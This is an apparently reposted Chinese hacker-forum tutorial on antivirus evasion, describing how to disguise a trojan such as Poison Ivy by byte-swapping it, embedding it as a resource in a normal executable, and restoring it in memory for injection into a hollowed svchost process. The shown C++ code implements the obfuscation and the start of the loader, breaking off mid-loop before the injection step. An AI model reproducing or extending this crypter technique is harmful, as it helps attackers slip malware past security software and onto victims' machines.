现在的位置: 首页 > 综合 > 正文

利用svchost进程作为傀儡达到exe编程免杀

2012年05月28日 ⁄ 综合 ⁄ 共 3214字 ⁄ 字号 评论关闭
from:http://forum.eviloctal.com/viewthread.php?tid=41250
文章作者:iwaxy
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

其实这篇帖子说原创有点牵强,毕竟无论是思路还是实现方法都是借鉴大牛公开的内容。前一阵子看了masepu大牛的编程免杀Poison Ivy远控那篇帖子,捣腾了下,感觉很有意思。于是就想,如果能够把其他的exe也照着这个思路做一遍,岂不是很好。当然实践证明我这个想法过于简单,中 途走了不少弯路,不过幸运的是最终达成了目的。虽然方法有些折中,不够犀利。好,扯了半天这些有的没的,现在切入正题。
主体思路其实就是给原始的exe外面加上一个“壳”,这个壳复杂把修改过的可执行程序加载进内存,并将其内容修改正常,变为正确的可执行程序,然后再搞一 个傀儡的进程,把我们的可执行程序替换进去,进而执行。接下来,我们配合代码详细的解释。首先说一下修改原始的exe文件:

复制内容到剪贴板
代码:

BOOL Deformation(CString strRstFile,CString strDstFile)
{
        CFile file;
        BYTE *rstdata;
        DWORD dwLen;
        HANDLE hUpdateRes;
        BOOL result;
        LPBYTE p;
        //把要当成资源的文件读入内存
        file.Open(strRstFile, CFile::modeRead);
        dwLen=file.GetLength();       
        rstdata=new BYTE[dwLen];
        file.ReadHuge(rstdata, dwLen);
        file.Close();

        // 为数据分配空间
        p = (LPBYTE)GlobalAlloc(GPTR, dwLen);
        if (p == NULL)
        {
                MessageBox("分配内存失败!", "错误", MB_OK|MB_ICONINFORMATION);
                return 0;
        }
        // 复制资源数据
        CopyMemory((LPVOID)p, (LPCVOID)rstdata, dwLen);
        //这里我把前后两位的值颠倒,使其可以通过杀软的查杀        
        for (DWORD i=0; i<dwLen; i++)
        {
                if (i%2 ==0)
                {
                        CopyMemory((LPVOID)(p + i), (LPCVOID)(rstdata + i + 1), 1);
                        CopyMemory((LPVOID)(p + i + 1), (LPCVOID)(rstdata + i), 1);
                }
                i++;
        }

        //将资源写入目标exe文件
        hUpdateRes=BeginUpdateResource(strDstFile, FALSE);
        result=UpdateResource(hUpdateRes, _T("PI"), MAKEINTRESOURCE(1001), MAKELANGID(LANG_NEUTRAL, SUBLANG_SYS_DEFAULT), (LPVOID)p, dwLen);
        result=EndUpdateResource(hUpdateRes, FALSE);                //必须是FALSE,否则不更新
        return result;
}

这样,就把修改过的可执行程序以资源的形式添加到另外一个正常的可执行程序中。接下来,要做的就是将修改过的可执行程序读入内存,并恢复原状,然后加以运行。继续拿代码说话:

复制内容到剪贴板
代码:

bool OnBuild()
{
        // TODO: Add your control notification handler code here
        HRSRC hResInfo;
        HGLOBAL hResData;
        DWORD dwSize;
        LPBYTE p;
        LPBYTE q;
       
        // 查找所需的资源
        hResInfo = FindResource(NULL, MAKEINTRESOURCE(IDR_PI1), "pi");
        if (hResInfo == NULL)
        {
                MessageBox("查找资源失败!", "错误", MB_OK|MB_ICONINFORMATION);
                return 0;
        }
        // 获得资源尺寸
        dwSize = SizeofResource(NULL, hResInfo);
        // 装载资源
        hResData = LoadResource(NULL, hResInfo);
        if (hResData == NULL)
        {
                MessageBox("装载资源失败!", "错误", MB_OK|MB_ICONINFORMATION);
                return 0;
        }
        // 为数据分配空间
        p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
        if (p == NULL)
        {
                MessageBox("p分配内存失败!", "错误", MB_OK|MB_ICONINFORMATION);
                return 0;
        }

        q = (LPBYTE)GlobalAlloc(GPTR, dwSize);
        if (q == NULL)
        {
                MessageBox("q分配内存失败!", "错误", MB_OK|MB_ICONINFORMATION);
                return 0;
        }
        // 复制资源数据
        ::CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
        ::CopyMemory((LPVOID)q, (LPCVOID)LockResource(hResData), dwSize);
        // 这里把可执行程序修复正确
        for (DWORD i=0; i<dwSize; i++)
        {
                if (i%2 ==0)
                {
                        ::CopyMemory((LPVOID)(p + i), (LPVOID)(q + i + 1), 1);
                        ::CopyMemory((LPVOID)(p + i + 1), (LPVOID)(q + i), 1);
   

抱歉!评论已关闭.